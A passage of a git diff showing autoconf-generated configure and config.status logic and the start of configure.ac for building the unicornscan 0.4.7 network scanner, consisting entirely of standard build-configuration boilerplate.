CONFIG_LINKS = $CONFIG_LINKS + CONFIG_COMMANDS = $CONFIG_COMMANDS + $ $0 $@ + +on `(hostname || uname -n) 2>/dev/null | sed 1q` +" + +_ACEOF + +cat >>$CONFIG_STATUS <<_ACEOF +# Files that config.status was made for. +config_files="$ac_config_files" +config_headers="$ac_config_headers" + +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +ac_cs_usage="\ +\`$as_me' instantiates files from templates according to the +current configuration. + +Usage: $0 [OPTIONS] [FILE]... + + -h, --help print this help, then exit + -V, --version print version number, then exit + -q, --quiet do not print progress messages + -d, --debug don't remove temporary files + --recheck update $as_me by reconfiguring in the same conditions + --file=FILE[:TEMPLATE] + instantiate the configuration file FILE + --header=FILE[:TEMPLATE] + instantiate the configuration header FILE + +Configuration files: +$config_files + +Configuration headers: +$config_headers + +Report bugs to ." + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +ac_cs_version="\\ +unicornscan config.status 0.4.7 +configured by $0, generated by GNU Autoconf 2.60, + with options \\"`echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`\\" + +Copyright (C) 2006 Free Software Foundation, Inc. +This config.status script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it." + +ac_pwd='$ac_pwd' +srcdir='$srcdir' +INSTALL='$INSTALL' +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +# If no file are specified by the user, then we need to provide default +# value. By we need to know if files were specified by the user. +ac_need_defaults=: +while test $# != 0 +do + case $1 in + --*=*) + ac_option=`expr "X$1" : 'X\([^=]*\)='` + ac_optarg=`expr "X$1" : 'X[^=]*=\(.*\)'` + ac_shift=: + ;; + *) + ac_option=$1 + ac_optarg=$2 + ac_shift=shift + ;; + esac + + case $ac_option in + # Handling of the options. + -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r) + ac_cs_recheck=: ;; + --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) + echo "$ac_cs_version"; exit ;; + --debug | --debu | --deb | --de | --d | -d ) + debug=: ;; + --file | --fil | --fi | --f ) + $ac_shift + CONFIG_FILES="$CONFIG_FILES $ac_optarg" + ac_need_defaults=false;; + --header | --heade | --head | --hea ) + $ac_shift + CONFIG_HEADERS="$CONFIG_HEADERS $ac_optarg" + ac_need_defaults=false;; + --he | --h) + # Conflict between --help and --header + { echo "$as_me: error: ambiguous option: $1 +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; };; + --help | --hel | -h ) + echo "$ac_cs_usage"; exit ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil | --si | --s) + ac_cs_silent=: ;; + + # This is an error. + -*) { echo "$as_me: error: unrecognized option: $1 +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } ;; + + *) ac_config_targets="$ac_config_targets $1" + ac_need_defaults=false ;; + + esac + shift +done + +ac_configure_extra_args= + +if $ac_cs_silent; then + exec 6>/dev/null + ac_configure_extra_args="$ac_configure_extra_args --silent" +fi + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +if \$ac_cs_recheck; then + echo "running CONFIG_SHELL=$SHELL $SHELL $0 "$ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6 + CONFIG_SHELL=$SHELL + export CONFIG_SHELL + exec $SHELL "$0"$ac_configure_args \$ac_configure_extra_args --no-create --no-recursion +fi + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +exec 5>>config.log +{ + echo + sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX +## Running $as_me. ## +_ASBOX + echo "$ac_log" +} >&5 + +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF + +# Handling of arguments. +for ac_config_target in $ac_config_targets +do + case $ac_config_target in + "src/config.h") CONFIG_HEADERS="$CONFIG_HEADERS src/config.h:src/config.h.in" ;; + "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; + "Makefile.inc") CONFIG_FILES="$CONFIG_FILES Makefile.inc" ;; + "etc/Makefile") CONFIG_FILES="$CONFIG_FILES etc/Makefile" ;; + "libs/Makefile") CONFIG_FILES="$CONFIG_FILES libs/Makefile" ;; + "docs/Makefile") CONFIG_FILES="$CONFIG_FILES docs/Makefile" ;; + "selinux/Makefile") CONFIG_FILES="$CONFIG_FILES selinux/Makefile" ;; + "ext_src/Makefile") CONFIG_FILES="$CONFIG_FILES ext_src/Makefile" ;; + "src/Makefile") CONFIG_FILES="$CONFIG_FILES src/Makefile" ;; + "src/packageinfo.h") CONFIG_FILES="$CONFIG_FILES src/packageinfo.h" ;; + "src/unilib/Makefile") CONFIG_FILES="$CONFIG_FILES src/unilib/Makefile" ;; + "src/scan_progs/Makefile") CONFIG_FILES="$CONFIG_FILES src/scan_progs/Makefile" ;; + "src/scan_progs/tests/Makefile") CONFIG_FILES="$CONFIG_FILES src/scan_progs/tests/Makefile" ;; + "src/tools/Makefile") CONFIG_FILES="$CONFIG_FILES src/tools/Makefile" ;; + "src/tools/p0f/Makefile") CONFIG_FILES="$CONFIG_FILES src/tools/p0f/Makefile" ;; + "src/output_modules/Makefile") CONFIG_FILES="$CONFIG_FILES src/output_modules/Makefile" ;; + "src/output_modules/database/Makefile") CONFIG_FILES="$CONFIG_FILES src/output_modules/database/Makefile" ;; + "src/payload_modules/Makefile") CONFIG_FILES="$CONFIG_FILES src/payload_modules/Makefile" ;; + "src/payload_modules/libunirainbow/Makefile") CONFIG_FILES="$CONFIG_FILES src/payload_modules/libunirainbow/Makefile" ;; + "src/report_modules/Makefile") CONFIG_FILES="$CONFIG_FILES src/report_modules/Makefile" ;; + "src/report_modules/osdetect/Makefile") CONFIG_FILES="$CONFIG_FILES src/report_modules/osdetect/Makefile" ;; + "src/parse/Makefile") CONFIG_FILES="$CONFIG_FILES src/parse/Makefile" ;; + + *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5 +echo "$as_me: error: invalid argument: $ac_config_target" >&2;} + { (exit 1); exit 1; }; };; + esac +done + + +# If the user did not use the arguments to specify the items to instantiate, +# then the envvar interface is used. Set only those that are not. +# We use the long form for the default assignment because of an extremely +# bizarre bug on SunOS 4.1.3. +if $ac_need_defaults; then + test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files + test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers +fi + +# Have a temporary directory for convenience. Make it in the build tree +# simply because there is no reason against having it here, and in addition, +# creating and moving files from /tmp can sometimes cause problems. +# Hook for its removal unless debugging. +# Note that there is a small window in which the directory will not be cleaned: +# after its creation but before its name has been assigned to `$tmp'. +$debug || +{ + tmp= + trap 'exit_status=$? + { test -z "$tmp" || test ! -d "$tmp" || rm -fr "$tmp"; } && exit $exit_status +' 0 + trap '{ (exit 1); exit 1; }' 1 2 13 15 +} +# Create a (secure) tmp directory for tmp files. + +{ + tmp=`(umask 077 && mktemp -d "./confXXXXXX") 2>/dev/null` && + test -n "$tmp" && test -d "$tmp" +} || +{ + tmp=./conf$$-$RANDOM + (umask 077 && mkdir "$tmp") +} || +{ + echo "$me: cannot create a temporary directory in ." >&2 + { (exit 1); exit 1; } +} + +# +# Set up the sed scripts for CONFIG_FILES section. +# + +# No need to generate the scripts if there are no CONFIG_FILES. +# This happens for instance when ./config.status config.h +if test -n "$CONFIG_FILES"; then + +_ACEOF + + + +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + cat >conf$$subs.sed <<_ACEOF +SHELL!$SHELL$ac_delim +PATH_SEPARATOR!$PATH_SEPARATOR$ac_delim +PACKAGE_NAME!$PACKAGE_NAME$ac_delim +PACKAGE_TARNAME!$PACKAGE_TARNAME$ac_delim +PACKAGE_VERSION!$PACKAGE_VERSION$ac_delim +PACKAGE_STRING!$PACKAGE_STRING$ac_delim +PACKAGE_BUGREPORT!$PACKAGE_BUGREPORT$ac_delim +exec_prefix!$exec_prefix$ac_delim +prefix!$prefix$ac_delim +program_transform_name!$program_transform_name$ac_delim +bindir!$bindir$ac_delim +sbindir!$sbindir$ac_delim +libexecdir!$libexecdir$ac_delim +datarootdir!$datarootdir$ac_delim +datadir!$datadir$ac_delim +sysconfdir!$sysconfdir$ac_delim +sharedstatedir!$sharedstatedir$ac_delim +localstatedir!$localstatedir$ac_delim +includedir!$includedir$ac_delim +oldincludedir!$oldincludedir$ac_delim +docdir!$docdir$ac_delim +infodir!$infodir$ac_delim +htmldir!$htmldir$ac_delim +dvidir!$dvidir$ac_delim +pdfdir!$pdfdir$ac_delim +psdir!$psdir$ac_delim +libdir!$libdir$ac_delim +localedir!$localedir$ac_delim +mandir!$mandir$ac_delim +DEFS!$DEFS$ac_delim +ECHO_C!$ECHO_C$ac_delim +ECHO_N!$ECHO_N$ac_delim +ECHO_T!$ECHO_T$ac_delim +LIBS!$LIBS$ac_delim +build_alias!$build_alias$ac_delim +host_alias!$host_alias$ac_delim +target_alias!$target_alias$ac_delim +SHLICC2!$SHLICC2$ac_delim +CC!$CC$ac_delim +CFLAGS!$CFLAGS$ac_delim +LDFLAGS!$LDFLAGS$ac_delim +CPPFLAGS!$CPPFLAGS$ac_delim +ac_ct_CC!$ac_ct_CC$ac_delim +EXEEXT!$EXEEXT$ac_delim +OBJEXT!$OBJEXT$ac_delim +build!$build$ac_delim +build_cpu!$build_cpu$ac_delim +build_vendor!$build_vendor$ac_delim +build_os!$build_os$ac_delim +host!$host$ac_delim +host_cpu!$host_cpu$ac_delim +host_vendor!$host_vendor$ac_delim +host_os!$host_os$ac_delim +GREP!$GREP$ac_delim +EGREP!$EGREP$ac_delim +LN_S!$LN_S$ac_delim +ECHO!$ECHO$ac_delim +AR!$AR$ac_delim +RANLIB!$RANLIB$ac_delim +STRIP!$STRIP$ac_delim +CPP!$CPP$ac_delim +CXX!$CXX$ac_delim +CXXFLAGS!$CXXFLAGS$ac_delim +ac_ct_CXX!$ac_ct_CXX$ac_delim +CXXCPP!$CXXCPP$ac_delim +F77!$F77$ac_delim +FFLAGS!$FFLAGS$ac_delim +ac_ct_F77!$ac_ct_F77$ac_delim +LIBTOOL!$LIBTOOL$ac_delim +SET_MAKE!$SET_MAKE$ac_delim +LIBTOOL_DEPS!$LIBTOOL_DEPS$ac_delim +AWK!$AWK$ac_delim +INSTALL_PROGRAM!$INSTALL_PROGRAM$ac_delim +INSTALL_SCRIPT!$INSTALL_SCRIPT$ac_delim +INSTALL_DATA!$INSTALL_DATA$ac_delim +LIBOBJS!$LIBOBJS$ac_delim +DNETCFLG!$DNETCFLG$ac_delim +DNETLIBS!$DNETLIBS$ac_delim +CHCON!$CHCON$ac_delim +SP_MODE!$SP_MODE$ac_delim +RANDOM_DEVICE!$RANDOM_DEVICE$ac_delim +USE_MAKE!$USE_MAKE$ac_delim +NEED_AUX_LIBS!$NEED_AUX_LIBS$ac_delim +NOPRIV_USER!$NOPRIV_USER$ac_delim +DESTDIR!$DESTDIR$ac_delim +DBTYPES!$DBTYPES$ac_delim +PG_LDFLAGS!$PG_LDFLAGS$ac_delim +PG_CPPFLAGS!$PG_CPPFLAGS$ac_delim +MY_LDFLAGS!$MY_LDFLAGS$ac_delim +MY_CPPFLAGS!$MY_CPPFLAGS$ac_delim +U_COPTS!$U_COPTS$ac_delim +U_CDEFS!$U_CDEFS$ac_delim +U_CINCS!$U_CINCS$ac_delim +U_LDFLAGS!$U_LDFLAGS$ac_delim +U_LIBS!$U_LIBS$ac_delim +sendername!$sendername$ac_delim +listenername!$listenername$ac_delim +_ACEOF + + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 97; then + break + elif $ac_last_try; then + { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +echo "$as_me: error: could not make $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +ac_eof=`sed -n '/^CEOF[0-9]*$/s/CEOF/0/p' conf$$subs.sed` +if test -n "$ac_eof"; then + ac_eof=`echo "$ac_eof" | sort -nru | sed 1q` + ac_eof=`expr $ac_eof + 1` +fi + +cat >>$CONFIG_STATUS <<_ACEOF +cat >"\$tmp/subs-1.sed" <<\CEOF$ac_eof +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +_ACEOF +sed ' +s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g +s/^/s,@/; s/!/@,|#_!!_#|/ +:n +t n +s/'"$ac_delim"'$/,g/; t +s/$/\\/; p +N; s/^.*\n//; s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g; b n +' >>$CONFIG_STATUS >$CONFIG_STATUS <<_ACEOF +CEOF$ac_eof +_ACEOF + + +ac_delim='%!_!# ' +for ac_last_try in false false false false false :; do + cat >conf$$subs.sed <<_ACEOF +targetname!$targetname$ac_delim +LTLIBOBJS!$LTLIBOBJS$ac_delim +_ACEOF + + if test `sed -n "s/.*$ac_delim\$/X/p" conf$$subs.sed | grep -c X` = 2; then + break + elif $ac_last_try; then + { { echo "$as_me:$LINENO: error: could not make $CONFIG_STATUS" >&5 +echo "$as_me: error: could not make $CONFIG_STATUS" >&2;} + { (exit 1); exit 1; }; } + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +ac_eof=`sed -n '/^CEOF[0-9]*$/s/CEOF/0/p' conf$$subs.sed` +if test -n "$ac_eof"; then + ac_eof=`echo "$ac_eof" | sort -nru | sed 1q` + ac_eof=`expr $ac_eof + 1` +fi + +cat >>$CONFIG_STATUS <<_ACEOF +cat >"\$tmp/subs-2.sed" <<\CEOF$ac_eof +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b end +_ACEOF +sed ' +s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g +s/^/s,@/; s/!/@,|#_!!_#|/ +:n +t n +s/'"$ac_delim"'$/,g/; t +s/$/\\/; p +N; s/^.*\n//; s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g; b n +' >>$CONFIG_STATUS >$CONFIG_STATUS <<_ACEOF +:end +s/|#_!!_#|//g +CEOF$ac_eof +_ACEOF + + +# VPATH may cause trouble with some makes, so we remove $(srcdir), +# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=/{ +s/:*\$(srcdir):*/:/ +s/:*\${srcdir}:*/:/ +s/:*@srcdir@:*/:/ +s/^\([^=]*=[ ]*\):*/\1/ +s/:*$// +s/^[^=]*=[ ]*$// +}' +fi + +cat >>$CONFIG_STATUS <<\_ACEOF +fi # test -n "$CONFIG_FILES" + + +for ac_tag in :F $CONFIG_FILES :H $CONFIG_HEADERS +do + case $ac_tag in + :[FHLC]) ac_mode=$ac_tag; continue;; + esac + case $ac_mode$ac_tag in + :[FHL]*:*);; + :L* | :C*:*) { { echo "$as_me:$LINENO: error: Invalid tag $ac_tag." >&5 +echo "$as_me: error: Invalid tag $ac_tag." >&2;} + { (exit 1); exit 1; }; };; + :[FH]-) ac_tag=-:-;; + :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; + esac + ac_save_IFS=$IFS + IFS=: + set x $ac_tag + IFS=$ac_save_IFS + shift + ac_file=$1 + shift + + case $ac_mode in + :L) ac_source=$1;; + :[FH]) + ac_file_inputs= + for ac_f + do + case $ac_f in + -) ac_f="$tmp/stdin";; + *) # Look for the file first in the build tree, then in the source tree + # (if the path is not absolute). The absolute path cannot be DOS-style, + # because $ac_f cannot contain `:'. + test -f "$ac_f" || + case $ac_f in + [\\/$]*) false;; + *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; + esac || + { { echo "$as_me:$LINENO: error: cannot find input file: $ac_f" >&5 +echo "$as_me: error: cannot find input file: $ac_f" >&2;} + { (exit 1); exit 1; }; };; + esac + ac_file_inputs="$ac_file_inputs $ac_f" + done + + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + configure_input="Generated from "`IFS=: + echo $* | sed 's|^[^:]*/||;s|:[^:]*/|, |g'`" by configure." + if test x"$ac_file" != x-; then + configure_input="$ac_file. $configure_input" + { echo "$as_me:$LINENO: creating $ac_file" >&5 +echo "$as_me: creating $ac_file" >&6;} + fi + + case $ac_tag in + *:-:* | *:-) cat >"$tmp/stdin";; + esac + ;; + esac + + ac_dir=`$as_dirname -- "$ac_file" || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || +echo X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + { as_dir="$ac_dir" + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || { $as_mkdir_p && mkdir -p "$as_dir"; } || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || { { echo "$as_me:$LINENO: error: cannot create directory $as_dir" >&5 +echo "$as_me: error: cannot create directory $as_dir" >&2;} + { (exit 1); exit 1; }; }; } + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,/..,g;s,/,,'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + + case $ac_mode in + :F) + # + # CONFIG_FILE + # + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; + esac +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +# If the template does not know about datarootdir, expand it. +# FIXME: This hack should be removed a few years after 2.60. +ac_datarootdir_hack=; ac_datarootdir_seen= + +case `sed -n '/datarootdir/ { + p + q +} +/@datadir@/p +/@docdir@/p +/@infodir@/p +/@localedir@/p +/@mandir@/p +' $ac_file_inputs` in +*datarootdir*) ac_datarootdir_seen=yes;; +*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) + { echo "$as_me:$LINENO: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 +echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF + ac_datarootdir_hack=' + s&@datadir@&$datadir&g + s&@docdir@&$docdir&g + s&@infodir@&$infodir&g + s&@localedir@&$localedir&g + s&@mandir@&$mandir&g + s&\\\${datarootdir}&$datarootdir&g' ;; +esac +_ACEOF + +# Neutralize VPATH when `$srcdir' = `.'. +# Shell code in configure.ac might set extrasub. +# FIXME: do we really want to maintain this feature? +cat >>$CONFIG_STATUS <<_ACEOF + sed "$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s&@configure_input@&$configure_input&;t t +s&@top_builddir@&$ac_top_builddir_sub&;t t +s&@srcdir@&$ac_srcdir&;t t +s&@abs_srcdir@&$ac_abs_srcdir&;t t +s&@top_srcdir@&$ac_top_srcdir&;t t +s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t +s&@builddir@&$ac_builddir&;t t +s&@abs_builddir@&$ac_abs_builddir&;t t +s&@abs_top_builddir@&$ac_abs_top_builddir&;t t +s&@INSTALL@&$ac_INSTALL&;t t +$ac_datarootdir_hack +" $ac_file_inputs | sed -f "$tmp/subs-1.sed" | sed -f "$tmp/subs-2.sed" >$tmp/out + +test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && + { ac_out=`sed -n '/\${datarootdir}/p' "$tmp/out"`; test -n "$ac_out"; } && + { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' "$tmp/out"`; test -z "$ac_out"; } && + { echo "$as_me:$LINENO: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&5 +echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&2;} + + rm -f "$tmp/stdin" + case $ac_file in + -) cat "$tmp/out"; rm -f "$tmp/out";; + *) rm -f "$ac_file"; mv "$tmp/out" $ac_file;; + esac + ;; + :H) + # + # CONFIG_HEADER + # +_ACEOF + +# Transform confdefs.h into a sed script `conftest.defines', that +# substitutes the proper values into config.h.in to produce config.h. +rm -f conftest.defines conftest.tail +# First, append a space to every undef/define line, to ease matching. +echo 's/$/ /' >conftest.defines +# Then, protect against being on the right side of a sed subst, or in +# an unquoted here document, in config.status. If some macros were +# called several times there might be several #defines for the same +# symbol, which is useless. But do not sort them, since the last +# AC_DEFINE must be honored. +ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* +# These sed commands are passed to sed as "A NAME B PARAMS C VALUE D", where +# NAME is the cpp macro being defined, VALUE is the value it is being given. +# PARAMS is the parameter list in the macro definition--in most cases, it's +# just an empty string. +ac_dA='s,^\\([ #]*\\)[^ ]*\\([ ]*' +ac_dB='\\)[ (].*,\\1define\\2' +ac_dC=' ' +ac_dD=' ,' + +uniq confdefs.h | + sed -n ' + t rset + :rset + s/^[ ]*#[ ]*define[ ][ ]*// + t ok + d + :ok + s/[\\&,]/\\&/g + s/^\('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/ '"$ac_dA"'\1'"$ac_dB"'\2'"${ac_dC}"'\3'"$ac_dD"'/p + s/^\('"$ac_word_re"'\)[ ]*\(.*\)/'"$ac_dA"'\1'"$ac_dB$ac_dC"'\2'"$ac_dD"'/p + ' >>conftest.defines + +# Remove the space that was appended to ease matching. +# Then replace #undef with comments. This is necessary, for +# example, in the case of _POSIX_SOURCE, which is predefined and required +# on some systems where configure will not decide to define it. +# (The regexp can be short, since the line contains either #define or #undef.) +echo 's/ $// +s,^[ #]*u.*,/* & */,' >>conftest.defines + +# Break up conftest.defines: +ac_max_sed_lines=50 + +# First sed command is: sed -f defines.sed $ac_file_inputs >"$tmp/out1" +# Second one is: sed -f defines.sed "$tmp/out1" >"$tmp/out2" +# Third one will be: sed -f defines.sed "$tmp/out2" >"$tmp/out1" +# et cetera. +ac_in='$ac_file_inputs' +ac_out='"$tmp/out1"' +ac_nxt='"$tmp/out2"' + +while : +do + # Write a here document: + cat >>$CONFIG_STATUS <<_ACEOF + # First, check the format of the line: + cat >"\$tmp/defines.sed" <<\\CEOF +/^[ ]*#[ ]*undef[ ][ ]*$ac_word_re[ ]*\$/b def +/^[ ]*#[ ]*define[ ][ ]*$ac_word_re[( ]/b def +b +:def +_ACEOF + sed ${ac_max_sed_lines}q conftest.defines >>$CONFIG_STATUS + echo 'CEOF + sed -f "$tmp/defines.sed"' "$ac_in >$ac_out" >>$CONFIG_STATUS + ac_in=$ac_out; ac_out=$ac_nxt; ac_nxt=$ac_in + sed 1,${ac_max_sed_lines}d conftest.defines >conftest.tail + grep . conftest.tail >/dev/null || break + rm -f conftest.defines + mv conftest.tail conftest.defines +done +rm -f conftest.defines conftest.tail + +echo "ac_result=$ac_in" >>$CONFIG_STATUS +cat >>$CONFIG_STATUS <<\_ACEOF + if test x"$ac_file" != x-; then + echo "/* $configure_input */" >"$tmp/config.h" + cat "$ac_result" >>"$tmp/config.h" + if diff $ac_file "$tmp/config.h" >/dev/null 2>&1; then + { echo "$as_me:$LINENO: $ac_file is unchanged" >&5 +echo "$as_me: $ac_file is unchanged" >&6;} + else + rm -f $ac_file + mv "$tmp/config.h" $ac_file + fi + else + echo "/* $configure_input */" + cat "$ac_result" + fi + rm -f "$tmp/out12" + ;; + + + esac + +done # for ac_tag + + +{ (exit 0); exit 0; } +_ACEOF +chmod +x $CONFIG_STATUS +ac_clean_files=$ac_clean_files_save + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || { (exit 1); exit 1; } +fi + + +selinux=no +if test $CHCON = chcon; then + selinux=yes +fi + +echo +echo "-- Configuration Summary --" +echo "prefix: ${prefix}" +echo "PostgreSQL Support: $pgsql" +echo "MySQL Support: $mysql" +echo "GeoIP support: $ac_cv_lib_GeoIP_GeoIP_open" +echo "SELinux Support: $selinux" +echo "Listen User: (non-selinux) $listen_user" +echo "libraries missing that will be built: \`$NEED_AUX_LIBS'" +echo "C options = $U_COPTS" +echo "C defines = $U_CDEFS" +echo "C include = $U_CINCS" +echo "Link Flags = $U_LDFLAGS" +echo "type $USE_MAKE to build" + +echo diff --git a/configure.ac b/configure.ac new file mode 100644 index 0000000..7000655 --- /dev/null +++ b/configure.ac @@ -0,0 +1,446 @@ +AC_PREREQ(2.57) + +dnl +dnl autoconf initialisation +dnl +AC_INIT([unicornscan], [0.4.7], [osace-users@lists.sourceforge.net]) +AC_CONFIG_HEADERS([src/config.h:src/config.h.in]) +AC_CONFIG_SRCDIR([src/main.c]) +AC_CONFIG_AUX_DIR([autostuff]) +dnl AC_CONFIG_MACRO_DIR([m4]) + +dnl +dnl get defaults for use later in an ugly way +dnl +BUILD_DIR=`pwd` +top_builddir=`pwd` +top_srcdir=`pwd` + +U_COPTS="${CFLAGS}" +U_CDEFS="" +U_CINCS="${CPPFLAGS}" +U_LDFLAGS="${LDFLAGS}" +U_LIBS="" + +targetname="unicornscan" +sendername="unisend" +listenername="unilisten" + +AC_MSG_RESULT(configuring unicornscan version ${PACKAGE_VERSION}) + +AC_LBL_C_INIT(U_COPTS, U_CINCS) + +AC_LIBTOOL_DLOPEN +AC_PROG_LIBTOOL +AC_PROG_MAKE_SET +AC_PROG_RANLIB +AC_C_VOLATILE + +AC_SUBST(LIBTOOL_DEPS) + +LIBS="" +AC_LBL_LIBRARY_NET +U_LIBS="${LIBS}" + +dnl +dnl checks for programs. +dnl +AC_PROG_AWK +AC_PROG_CC +AC_PROG_INSTALL +AC_PROG_LN_S +dnl we dont really even need the end user to have this, we ship pre-generated ones now +dnl AC_PROG_LEX +dnl AC_PROG_YACC + +dnl +dnl checks for typedefs, structures, and compiler features. +dnl +AC_C_CONST +AC_TYPE_UID_T +AC_TYPE_OFF_T +AC_C_INLINE +AC_TYPE_PID_T +AC_TYPE_SIZE_T + +dnl +dnl checks for header files. +dnl +AC_HEADER_STDC +AC_HEADER_SYS_WAIT +AC_HEADER_DIRENT +AC_HEADER_TIME +AC_CHECK_HEADERS([fcntl.h inttypes.h malloc.h memory.h netdb.h stddef.h stdint.h stdlib.h string.h sys/ioctl.h sys/param.h sys/time.h unistd.h limits.h]) + +AC_CHECK_HEADERS([sys/socket.h], [], [], [#include +]) + +AC_CHECK_HEADERS([net/if.h netinet/in.h], [], [], [#include +#ifdef HAVE_SYS_SOCKET_H +#include +#endif +]) + +AC_CHECK_HEADERS([arpa/inet.h ifaddrs.h net/if_dl.h 